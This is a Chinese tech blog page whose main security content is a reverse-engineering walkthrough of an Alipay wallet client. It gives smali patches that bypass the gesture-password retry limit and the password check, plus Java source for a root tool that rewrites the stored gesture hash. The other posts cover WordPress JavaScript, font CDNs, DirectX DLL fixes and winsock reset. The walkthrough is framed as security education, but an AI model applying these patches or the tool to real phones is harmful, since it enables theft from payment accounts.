最近在上课,闲下来的时候就做做WP模板。抄袭淘宝ued团队的博客。结果就遇到了这么一码事,一直也没有解决。 本来啊,效果应该是这样: 字的背景是一个可以随鼠标移动的条,类似于一个hover的伪类,但是使用js来实现的。 但是我鼓捣完确实这个样子滴 字底下的条比理论低了12px。 另外我加上了个判断 令负责底下这个条位置的值如果等于12则强行改为0 则鼠标移动到这个条上后,位置就正常。。不然效果还不能实现。。。 再插入我找到的代码 menuHover: function(b) { var c = this; if (b) { var d = c.navNode.one("#menu-primary").offset().top, e = b.offset().top - d; if(e == 12) { e = 0;} else e = e; "none" == c.labelNode.css("display") ? c.labelNode.css("top", b).show() : (a.Anim.stop(c.labelNode, !1, !1, "topAnim"), new a.Anim(c.labelNode, { top: e }, { duration: .2, easing: "ease-out", queue: "topAnim", useTransition: !0 }).run()) } else c.labelNode.fadeOut(.3) }, 其中: if(e == 12) { e = 0;} else e = e; 这个是我自己写的。 整个的js文件在https://code.csdn.net/snippets/452843/e0c67e2ed33642c9acd55492bc95af6cdf8cddc4
破解C++ Redistributable Package版本之谜
我们平常玩的游戏、用的免CD破解补丁…[阅读更多]
升级emlog 5.3.1
这是一个小的补丁版本: 改进安装脚本兼容某些云引擎 后台css和js文件增加版本号,防止升级后缓存不更新 默认关…[阅读更多]
解决因为Google Fonts导致网站速度问题的解决方法
由于众所周知的原因,天朝发威,谷歌的一系列网站被彻底墙,这其中就包括了Google Fonts 所在的googleapis.com 。如果你要是问我Google Fonts是什么,我想说的是你不适合看这篇文章。 如果你的网站在调用Google Fonts 来让你的网站变得更加好看,那么你会发现现在你的网站打开的速度非常非常的慢……因为压根儿加载不了这个字体文件。就比如我现在在用的这个模板,就出现了这个问题,前段时间,同学@ishell.me 给我提出了这个问题,但是忙着考试还有回家,再加上学校蒸笼一样的寝室,因没心情处理这个问题。最近,在家里吹着空调,打开电脑,看着比笔记本屏幕大好多的显示器,我决定解决一下这个问题(主要是不能忍受网站打开速度太慢 ⊙?⊙b汗)。 我一直以来都是觉得,问题既然出了,就要想办法解决。对于Google Fonts 的这个问题,一是砸烂天朝的互联网城墙,这显然是不切实际的(⊙?⊙b),二是移民(不要拿板砖拍我啊……),三是禁止加载相应的Google Fonts ,四是替换加载源。 禁止加载相应的Google Fonts,好说,在你的网站源码中,翻箱倒柜找到类似 <link href=’http://fonts.lug.ustc.edu.cn/css?family=Open+Sans:300,400,600&subset=latin,latin-ext’ rel=’stylesheet’> 删掉就好了,但是这样的话,你就要忍受系统默认字体带来的视觉上的“忍受”了。 第四种方法呢,似乎会更好些。 在你的网站中找到相应代码,将 fonts.googleapis.com 替换成 fonts.useso.com 这里fonts.useso.com采用的是360推出的常用前端公共库CDN服务,虽然对数字这家公司的软件不感兴趣,但是不得不说这个CDN服务还是很不错的。 这个服务提供了常用的JavaScript前端库、Google提供的前端公共库了、Google提供的免费字体库的替代方案。速度还是非常不错的。地址是http://libs.useso.com/ 另外,渣浪、百度、又拍云、Staticfile.org也提供了类似的公共CDN前端库,大家可以根据自己的需要来选取相应的前端库。
Visual C++ 2005 Redistributable Package不能安装的解决办法
Visual C++ 2005 …[阅读更多]
0xc000007b的解决办法(续)
整理了下可能造成0xc000007…[阅读更多]
运行游戏时出现0xc000007b错误的解决方法 via:VBcom
如图,这个错误使无数玩家烦恼。 出现这个错误,可能是硬件的问题,也可能是软件的问题。但是,由于硬件引起该问题的概率很小,并且除了更换硬件之外没有更好的解决方法,因此本文将详细介绍如何通过软件解决此问题,这也是大家最关心的。 大致介绍一下这个错误是如何发生的。这个错误的本意是提示内存错误,但是通常情况下并不是内存存在问题,而是由于软件的问题产生了这个错误。究竟是什么软件的问题呢?答案是DirectX,并且多数情况下是DirectX 9.0的问题。 也许大家会问了:我玩的游戏都有DirextX 11的特效了,还会和DirectX 9有关系吗?事实上,游戏公司为了游戏的兼容性,往往都是基于DirectX 9.0的API开发游戏,然后加上DirectX 10和DirectX 11的特效,这样的话,不管什么样的显卡都可以玩游戏。也正是如此,DirectX 9.0有问题会影响目前最新的游戏(比如极品飞车15)。还有人会问了:我的Windows 7都能支持DirectX 11了,怎么还不行?这里要做两点说明,首先,Windows 7是最高支持DirectX 11,向下兼容DirectX 9以及DirectX 10,并不是Windows 7只支持DirectX 11;还有,原版的Windows 7中只包含了最基本的DirectX 组件,而游戏需要的往往是较高级的组件(如d3dx9_42.dll、xinput1_3.dll),系统缺失这些关键的文件会造成游戏无法运行。还有人会问:我已经装过DirectX 9.0了,还是不管用呀?请大家一定要牢记一点,不管是32位操作系统还是64位操作系统,一定要安装32位版本的DirectX文件,这是关键。因此请大家一定要从文中给出的链接下载,因为我给出的版本是最新32位文件。 说到这,大家自然就知道解决方法了??安装最新版的DirectX文件。这里我给大家介绍一种简便方法(置顶方法)和两种高级方法。 置顶方法:简便万能,一键修复,使用DirectX修复工具。很多遇到这个问题的人对电脑都不甚了解,即使我非常详尽的介绍了操作方法,但是仍然会有问题。鉴于此,本人特地亲自编写了一款绿色软件??DirectX修复工具。该款软件采用傻瓜式一键操作,只要点一个按钮,就能自动完成校验、检测、修复、注册的功能,十分简便易用。该软件可支持Windows XP、Windows Vista、Windows 7操作系统,可以同时兼容32位与64位操作系统。大家完全不必操心自己的操作系统到底是什么操作系统,需要做的只是下载该软件,然后运行,因此极力推荐普通用户使用该方法。 程序链接:http://pan.baidu.com/s/1qWsKhmW(增强版) 当然,如果您是高级用户,或者置顶方法不能解决您的问题,建议您考虑下述两种高级方法。 方法一:大而全,安装最新版的DirectX 9.0安装包。这种方法的优点是,一次性把系统缺失的文件自动安装,并且自动升级旧有的文件,缺点是安装包较大(90MB以上),如果网速慢的不方便下载。 现在网上有很多的安装包,但其中一些无法运行,会提示系统错误。就连之前微软网站的安装包也会出现类似问题。不过目前微软可能已经意识到这个问题了,发布了新的安装包,应该会解决不少人无法安装的问题。大家可以到微软的官方网站上下载。同时,作为参考,大家也可以到360软件管家下载安装。以下3种下载方式任选其一即可。 微软官方在线安装包: http://www.microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyID=2DA43D38-DB71-4C1B-BC6A-9B6652CD92A3 微软官方离线安装包: http://www.microsoft.com/downloads/en/details.aspx?displaylang=en&FamilyID=3b170b25-abab-4bc3-ae91-50ceb6d8fa8d 下载方式3:在各类软件管家找“Microsoft DirectX 9.0c”下载安装即可。 特别说明,微软提供的安装包在有的电脑上可能安装不了,提示系统错误。这时可以重启后多装几次,如果每次都不行的话建议还是从各类软件管家下载。注意,安装前请务必先手动删除之前自己拷贝到system32或Syswow64文件夹中的dll文件! 方法二:小而精,只安装缺失的文件。经我观察发现,绝大多少游戏不能运行是缺少如下的几个文件:d3dx9_39.dll、d3dx9_40.dll、d3dx9_41.dll、d3dx9_42.dll、d3dx9_43.dll、xinput1_3.dll,因此,只要安装好了这几个文件,就可以顺利运行游戏。文件我已经打包上传,以下两个地址任选其一即可。注意一点,如果你的游戏提示的缺失的文件不在上述6个文件之中,那么你就不能用这个方法。 下载地址1: http://good.gd/875627.htm 下载地址2: 链接: http://pan.baidu.com/s/1hq01l7A 密码: b6xg 下载完上述文件后,我还要说一下文件的用法。解压后大家就可以看到上述6个文件,对于32位的操作系统,请把这6个文件复制到“C:/Windows/System32/”文件夹下或者是复制到游戏目录,与游戏的EXE文件在同一文件夹下;对于64位操作系统,请把这6个文件复制到“C:/Windows/Syswow64/”文件夹下或者是复制到游戏目录,与游戏的EXE文件在同一文件夹下。综上所述,不管是32位操作系统还是64位操作系统,只要把文件复制到游戏目录(与游戏的EXE文件在同一文件夹下)下,都可以解决问题。这步至关重要,千万不要忘记或搞错,否则就会出现"应用程序无法正常启动(0xc000007b)。请单击“确定”关闭程序。"这个错误。 特别说明:不管你使用的是32位的操作系统还是64位的操作系统,一定要使用32位的dll文件,这是关键!对于这个错误,64位系统的玩家一定要把自己的系统当成32位的对待,寻找32位的文件安装才可解决。因此,如果你使用的是之前自己从网上找到dll文件,并且已经按上述方法试过没有成功,不是这个方法有问题,而很可能是你用的dll文件有问题。如果你不能确定你之前从别处找到的dll文件是最新版的32位的文件的话,建议大家按照我提供的地址下载需要的文件(我提供的是最新版的32位的文件),也许你会有意想不到的惊喜。 现在,你可以试试你的游戏了。双击游戏图标,游戏运行了~~ 原文地址:http://blog.csdn.net/vbcom/article/details/6070705 有删改和补充
支付宝钱包手势密码破解实战 via:@闵小奇
背景 随着移动互联网的普及以及手机屏幕越做越大等特点,在移动设备上购物、消费已是人们不可或缺的一个生活习惯了。随着这股浪潮的兴起,安全、便捷的移动支付需求也越来越大。因此,各大互联网公司纷纷推出了其移动支付平台。其中,用的比较多的要数腾讯的微信和阿里的支付宝钱包了。就我而言,平时和同事一起出去AA吃饭,下班回家打车等日常生活都已经离不开这两个支付平台了。 正所谓树大招风,移动支付平台的兴起,也给众多一直徘徊在网络阴暗地带的黑客们又一次重生的机会。因为移动平台刚刚兴起,人们对移动平台的安全认识度还不够。就拿我身边的很多朋友来说,他们一买来手机就开始root,之后卸载预装软件,下载游戏外挂等等。今天,我们就以破解支付宝钱包的手势密码为例,来深入了解下android系统上的一些安全知识,希望能引起人们对移动平台安全的重视。 在此申明:以下文章涉及的代码与分析内容仅供android系统安全知识的学习和交流使用,任何个人或组织不得使用文中提到的技术和代码做违法犯罪活动,否则由此引发的任何后果与法律责任本人概不负责。 实验环境 红米TD版 MIUI-JHACNBA13.0(已越狱) 支付宝钱包8.1.0.043001版 使用工具 APK IDE Smali.jar Ddms SQLite Expert 应用宝 程序分析 准备阶段 安装完支付宝钱包之后,运行软件,我这里选择淘宝帐号登录,界面如图1所示。 图1 登录之后,设置手势密码,如图2所示。 图2 完成上述两步之后,退出支付宝进程。用腾讯应用宝定位到支付宝的安装目录datadatacom.eg.android.AlipayGphone,查看目录结构如图3所示。 图3 实战开始 - 破解手势密码错误次数限制 看到图3所示的目录结构,猜测databases目录下的*.dB数据库文件就是用来保存上述我们设置的密码的。因此,我们使用应用宝的导出功能将databases目录导出到本地。用SQLite Expert工具打开所有的dB文件,分析发现alipayclient.db数据库中的userinfo表中保存了用户名、输入错误次数、手势密码等详细信息,如图4所示。其中的gestureErrorNum字段应该就是保存了手势密码输入错误的次数了,很明显这里已经被加密了。 图4 使用APK IDE对支付宝的安装包进行解包分析。解包完成之后,搜索setgestureErrorNum字样,结果如图5所示。 图5 经过大致分析,UserInfoDao.smali文件中的addUserInfo函数比较可疑,截取其中一段设置手势密码错误次数的代码如下: invoke-virtual {v0}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGestureErrorNum()Ljava/lang/String; move-result-object v1 #调用getGestureErrorNum函数获得未加密的错误次数,并保存到v1寄存器 invoke-virtual {v0}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getUserId()Ljava/lang/String; move-result-object v2 #调用getUserId函数获得user id,并保存到v2寄存器 invoke-static {v2}, Lcom/alipay/mobile/security/gesture/util/GesutreContainUtil;->get8BytesStr(Ljava/lang/String;)Ljava/lang/String; move-result-object v2 #获取user id的前8个字节,保存到v2寄存器 invoke-static {v1, v2}, Lcom/alipay/mobile/common/security/Des;->encrypt(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; move-result-object v1 #以user id的前8字节作为key,调用des加密错误次数字符串,并保存到v1寄存器 invoke-virtual {v0, v1}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->setGestureErrorNum(Ljava/lang/String;)V #调用setGestureErrorNum函数,将加密的字符串保存 通过对上述代码的分析得知,第一次getGestureErrorNum的调用取出的错误次数应该是未加密的字符串,添加log代码验证,代码如图6所示。 图6 保存修改的smali文件,重新编译打包,安装完成之后,输入错误的手势密码,log输出数字依次递增。最后一次输入正确的手势密码,错误次数重新归0。LogCat捕捉到的日志如图7所示。 图7 程序分析到这里,我不禁猜测,在错误次数未加密前,把v1寄存器的值设置为字符串“0”是不是就可以骗过支付宝而可以无限次的输入手势密码了呢?于是乎,我又开始了下面的验证,代码如图8所示。 图8 编译打包,重新安装支付宝,输入错误的手势密码,发现5次错误之后程序还是让我们重新登录。看来我们这里设置错误次数已经晚了,于是乎,继续搜索调用addUserInfo函数来加密gestureErrorNum的地方。其中,AlipayPattern.smali文件的settingGestureError函数引起了我的注意。函数代码如下: .method public settingGestureError(Lcom/alipay/mobile/framework/app/ui/BaseActivity;Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;I)V .locals 1 new-instance v0, Ljava/lang/StringBuilder; #初始化StringBuilder实例 invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V invoke-virtual {v0, p3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; #p3是一个I类型的整型变量,调用StringBuilder. append赋值 move-result-object v0 invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v0 #调用toString函数转换成字符串类型,赋给v0 invoke-virtual {p2, v0}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->setGestureErrorNum(Ljava/lang/String;)V #调用setGestureErrorNum设置未加密的错误次数字符串 invoke-static {}, Lcom/alipay/mobile/framework/AlipayApplication;->getInstance()Lcom/alipay/mobile/framework/AlipayApplication; move-result-object v0 invoke-static {v0}, Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;->getInstance(Landroid/content/Context;)Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper; move-result-object v0 invoke-virtual {v0, p2}, Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;->addUserInfo(Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;)Z #调用SecurityDbHelper.addUserInfo函数加密、更新数据库 return-void .end method 分析到这里,想必这里才是最原始的设置手势输入错误次数的地方吧,修改p3的值为0,测试代码如图9所示。 图9 继续打包、编译、测试。随意输入错误的手势密码,支付宝始终显示“密码错误,还可以输入5次”字样,如图10。 图10 至此,手势密码中的错误次数限制已经被我们解除了。理论上来说,我们可以使用穷举法来获取支付宝的手势密码。但是,作为一名分分钟几百万上下的大黑阔来说,使用穷举法来获得密码这种方式,显然是在浪费生命和金钱呀。 越战越勇 ? 查找关键跳转 对于大黑阔们来说,只破解手势输入错误次数限制显然是不够的。下面我们以手势密码的存储展开来说起。查看alipayclient.db数据库的userinfo表可知,手势密码的存储字段为gesturePwd,搜索getGesturePwd函数得到如图11的结果。 图11 搜索到的结果比较多,根据前面对手势密码错误次数限制的分析,这里可以排除几个文件,例如UserInfoDao.smali文件,它主要用来保存一些用户态的信息,可暂时跳过。剩下的smali文件,我们一个个分析过来。在这里我想说的一点是,逆向分析确实是很考验一个人耐心和细心的一件事情,一个恍惚就会迷失在浩瀚的汇编代码中,但是等到你找到关键的调用点,分析出核心的算法时,那么心境会豁然开朗,真是有种踏破铁鞋无觅处,得来全不费工夫的感脚。好了,扯远了,下面我们继续。 经过我的仔细分析,e.smali文件最有可能是比较输入密码的地方,双击上面e.smali文件的LINE 47行,跳转到的是a函数。由于函数比较长,只贴关键部分,代码如下: .method public final a(Ljava/lang/String;)V .locals 4 invoke-virtual {p1}, Ljava/lang/String;->length()I #取输入字符串的长度 move-result v0 sget v1, Lcom/alipay/mobile/security/gesture/component/LockView;->MINSELECTED:I if-lt v0, v1, :cond_1 #比较字符串长度 :try_start_0 iget-object v0, p0, Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo; #获取UserInfo对象 invoke-virtual {v0}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGesturePwd()Ljava/lang/String; #调用UserInfo的getGesturePwd函数获得加密过的正确的手势密码 move-result-object v0 invoke-virtual {v0}, Ljava/lang/String;->length()I #取加密过的正确密码的长度 move-result v0 const/16 v1, 0x20 if-le v0, v1, :cond_0 #长度是否小于32 new-instance v0, Ljava/lang/StringBuilder; invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V #初始化StringBuilder对象 invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; #将输入的明文手势密码赋值给StringBuilder对象 move-result-object v0 iget-object v1, p0, Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo; invoke-virtual {v1}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getUserId()Ljava/lang/String; #调用UserInfo的getUserId函数获取user id move-result-object v1 const-string/jumbo v2, "userInfo" invoke-static {v1, v2}, Lcom/alipay/mobile/common/security/Des;->encrypt(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; #调用des加密函数,以“userInfo”为key,加密user id字符串 move-result-object v1 invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; #将加密好的user id字符串附加到StringBuilder对象上 move-result-object v0 invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v0 #StringBuilder对象(输入明文手势的密码 + 加密后的user id)转字符串,并赋值给v0寄存器 invoke-static {v0}, Lcom/alipay/mobile/security/gesture/util/SHA1;->sha1(Ljava/lang/String;)Ljava/lang/String; #调用静态的sha1函数,计算出一个hash值 move-result-object v0 :goto_0 iget-object v1, p0, Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo; invoke-virtual {v1}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGesturePwd()Ljava/lang/String; #调用UserInfo的getGesturePwd函数获得加密过的正确的手势密码 move-result-object v1 invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z #比较输入的密码和正确的密码 move-result v0 if-eqz v0, :cond_1 很显然,上面这个if-eqz是关键,如果比较函数equals返回false,那么跳转到cond_1标签处。cond_1标签处的主要任务就是取当前输入错误的次数,在这个基础上加上1,然后调用settingGestureError函数重新设置错误次数。如果两个字符串相等,那么调用settingGestureError函数把错误次数重新置为0。 下面为了验证我们的猜测,进行如下两步操作: 1、在a函数中加入类似如图12的打印日志代码,这里未全部截图下来,其他地方留给读者自行添加。 图12 2、在if-eqz v0前patch v0,代码如图13所示。 图13 完成上述两步操作之后,保存修改过的smali文件,编译打包,重新安装支付宝钱包客户端,随意输入手势密码。这里引用大魔术师刘谦的一句话,“接下来就是见证奇迹的时刻”。在我们随意输入密码之后,熟悉的支付宝主界面出现在我们眼前,同时LogCat输出日志如图14所示。 图14 日志的组成大致如下: 第一行:用户输入的,还未加密的手势代码; 第二行:保存在数据库中正确的加密后的手势密码; 第三行:未加密的user id; 第四行:采用des加密后的user id; 第五行:拼接用户输入和加密后的user id; 第六行:采用sha1算法计算出来的加密之后的用户输入的手势密码。 通过仔细的分析日志,我们从中可以得出两个结论: 1、真实的手势密码和我们输入的密码是不一样的,但是我们还是进入了支付宝的主界面,证明我们上面第2步中修改的地方非常关键,从而也印证了e.smali文件的a函数确实是比较用户输入和真实密码的关键函数。 2、支付宝是将用户的手势操作转化成对应的数字,然后再做一定的加密处理之后保存到数据库中。比较用户输入的时候,是用相同的加密步骤对用户输入进行加密,再与数据库中保存的密码做比较。数字代码对应如图15所示。 图15 程序分析到这里,我们已经清楚的明白了支付宝手势密码的加密过程和算法,并且通过修改关键跳转的方法,使得我们随意输入手势密码都可以进入支付宝主界面。 仔细思考 ? 还原手势密码? 回过头来仔细想想,手势密码的加密流程是这样的,用户输入+user id组成一个字符串,将该字符串经过sha1算法哈希之后得到另一个加密字符串即为手势密码。其中,user id字符串在alipayclient.db数据库的userinfo表中的userId字段已经表明了,正确的手势密码gesturePwd字段也已经有了。虽然sha1算法不可逆,但是在我们的这个实例中,最长输入是9位,最短为4位,我们完全可以通过已知的信息,采用有限的穷举,就能得出正确的手势代码了。相信对于现在的4核乃至8核cpu手机来说,这点计算应该是很轻松的。 但是,我们难道只能通过穷举来实现暴力破解吗?答案是否定的。其实我们完全可以自己构造一个输入,例如0123,采用和支付宝完全相同的加密流程得到手势密码。然后,通过修改userinfo表的gesturePwd字段内容为上面我们计算出来的手势密码,这样,就能实现随意修改手势密码的目的了。想法有了,下面我们编写代码来验证该方法是否可行。 代码实现 查看支付宝使用的sha1算法可知,该算法与支付宝的整体功能业务耦合度基本为0,于是我将sha1算法所在的smali文件转换成jar包,然后导入到我的工程中,这样,就可以直接调用和支付宝完全相同的sha1算法了。程序代码如下所示: protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); setTitle("支付宝手势密码修改器"); szUerIdString = ""; tvStatus = (TextView) findViewById(R.id.textStatus); etEncryptUserid = (EditText) findViewById(R.id.editEncryptUserId); etDecryptUserid = (EditText) findViewById(R.id.editDecrypUserId); etMyPwd = (EditText) findViewById(R.id.editMyselfPwd); btnOK = (Button) findViewById(R.id.btnSetting); if (!RootUtils.hasRootPermission()) { tvStatus.setText("本程序只能在ROOT过的手机上运行!"); return; } if (!RootUtils.hasInstalledApp(MainActivity.this, "com.eg.android.AlipayGphone")) { tvStatus.setText("请确认您已经安装了支付宝钱包!"); return; } String szUserId = getUserId(); if (!szUserId.isEmpty()) { szUerIdString = szUserId; etEncryptUserid.setText(szUserId); tvStatus.setText("读取user id成功,请输入自定义手势密码!"); String szDecryptUserid = decryptUserid(szUserId, "userInfo"); if (!szDecryptUserid.isEmpty()) { etDecryptUserid.setText(szDecryptUserid); } else { tvStatus.setText("解密user id失败!"); } btnOK.setOnClickListener(new OnClickListener() { @Override public void onClick(View view) { String szPwd = etMyPwd.getText().toString(); if (szPwd.isEmpty()) { Toast.makeText(MainActivity.this, "设置的自定义密码不能为空,请重新输入!", Toast.LENGTH_LONG).show(); } else { StringBuilder sBuilder = new StringBuilder(); sBuilder.append(szPwd); sBuilder.append(szUerIdString); String tmp = sBuilder.toString(); String sha1 = com.alipay.mobile.security.gesture.util.SHA1.sha1(tmp); Log.v(TAG, sha1); if (!sha1.isEmpty()) { if (updateDatabaseGesturePwd(szUerIdString, sha1)) { tvStatus.setText("设置自定义密码成功!"); } else { tvStatus.setText("设置自定义密码失败!"); } } } } }); } else { tvStatus.setText("获取user id失败!"); } } 获取user id和修改手势密码的代码如下: // 获取加密的user id private String getUserId() { String szRet = ""; // 修改数据库文件的读写权限 RootUtils.RootCommand("chmod 666 /data/data/com.eg.android.AlipayGphone/databases/alipayclient.db"); RootUtils.RootCommand("chmod 666 /data/data/com.eg.android.AlipayGphone/databases/alipayclient.db-journal"); try { Context context = createPackageContext("com.eg.android.AlipayGphone", Context.CONTEXT_IGNORE_SECURITY); SQLiteDatabase dB =context.openOrCreateDatabase("alipayclient.db", 0, null); Cursor cursor = db.rawQuery("select * from userinfo", null); if (cursor.moveToFirst()) { szRet = cursor.getString(USER_ID_INDEX) ; } db.close(); } catch (NameNotFoundException e1) { e1.printStackTrace(); } return szRet; } // 修改手势密码 private boolean updateDatabaseGesturePwd(String szUerId, String szPwd) { boolean bRet = false; if (szPwd.isEmpty() || szUerId.isEmpty()) { return bRet; } try { Context context = createPackageContext("com.eg.android.AlipayGphone", Context.CONTEXT_IGNORE_SECURITY); SQLiteDatabase dB =context.openOrCreateDatabase("alipayclient.db", 0, null); ContentValues cv = new ContentValues(); cv.put("gesturePwd", szPwd); String[] args = {String.valueOf(szUerId)}; int n = db.update("userinfo", cv, "userId=?", args); if (n> 0) { bRet = true; } db.close(); } catch (NameNotFoundException e1) { e1.printStackTrace(); } return bRet; } 最后,程序运行效果如图16所示。 图16 输入自定义密码,点击确认,程序提示设置成功。此时,打开支付宝,输入我们的自定义手势代码即可解锁支付宝进入熟悉的主界面了。 后记 如上所述,通过修改支付宝钱包数据库来达到破解目的的方法是需要在已经root过的手机上才能使用的。设想一下这种情况,我的手机已经root,并且手机被盗。那么,除了手机上的艳照有可能泄露之外,小偷还可以通过修改支付宝的手势密码来登录我的支付宝,因此,造成直接的金钱损失也不是没有可能。 一般来说,普通用户日常使用的手机尽量不要去root,也不要随便去下载来历不明的软件和外挂。
【浏览器】chromefirefox无法上网,IE没问题的解决方法
今天早上一开电脑发现,chrome没法上网了,但是基于IE内核的QQ浏览器和IE 11却都能上网。而且QQ啊神马的都能上网。 重启?不好用!清除cookie和缓存?同样不好用! 没办法只能祭出超级大招??CMD。 首先用管理员身份运行CMD,然后执行netsh winsock reset. 那么“netsh winsock reset”这个命令是什么意思呢? netsh winsock reset命令,作用是重置 Winsock 目录。如果一台机器上的Winsock协议配置有问题的话将会导致网络连接等问题,就需要用netsh winsock reset命令来重置Winsock目录借以恢复网络。这个命令可以重新初始化网络环境,以解决由于软件冲突、病毒原因造成的参数错误问题。 netsh是一个能够通过命令行操作几乎所有网络相关设置的接口,比如设置IP,DNS,网卡,无线网络等,Winsock是系统内部目录,Winsock是Windows网络编程接口,winsock工作在应用层,它提供与底层传输协议无关的高层数据传输编程接口,reset是对Winsock的重置操作。当执行完winsock的命令重启计算机后,需要重新配置IP。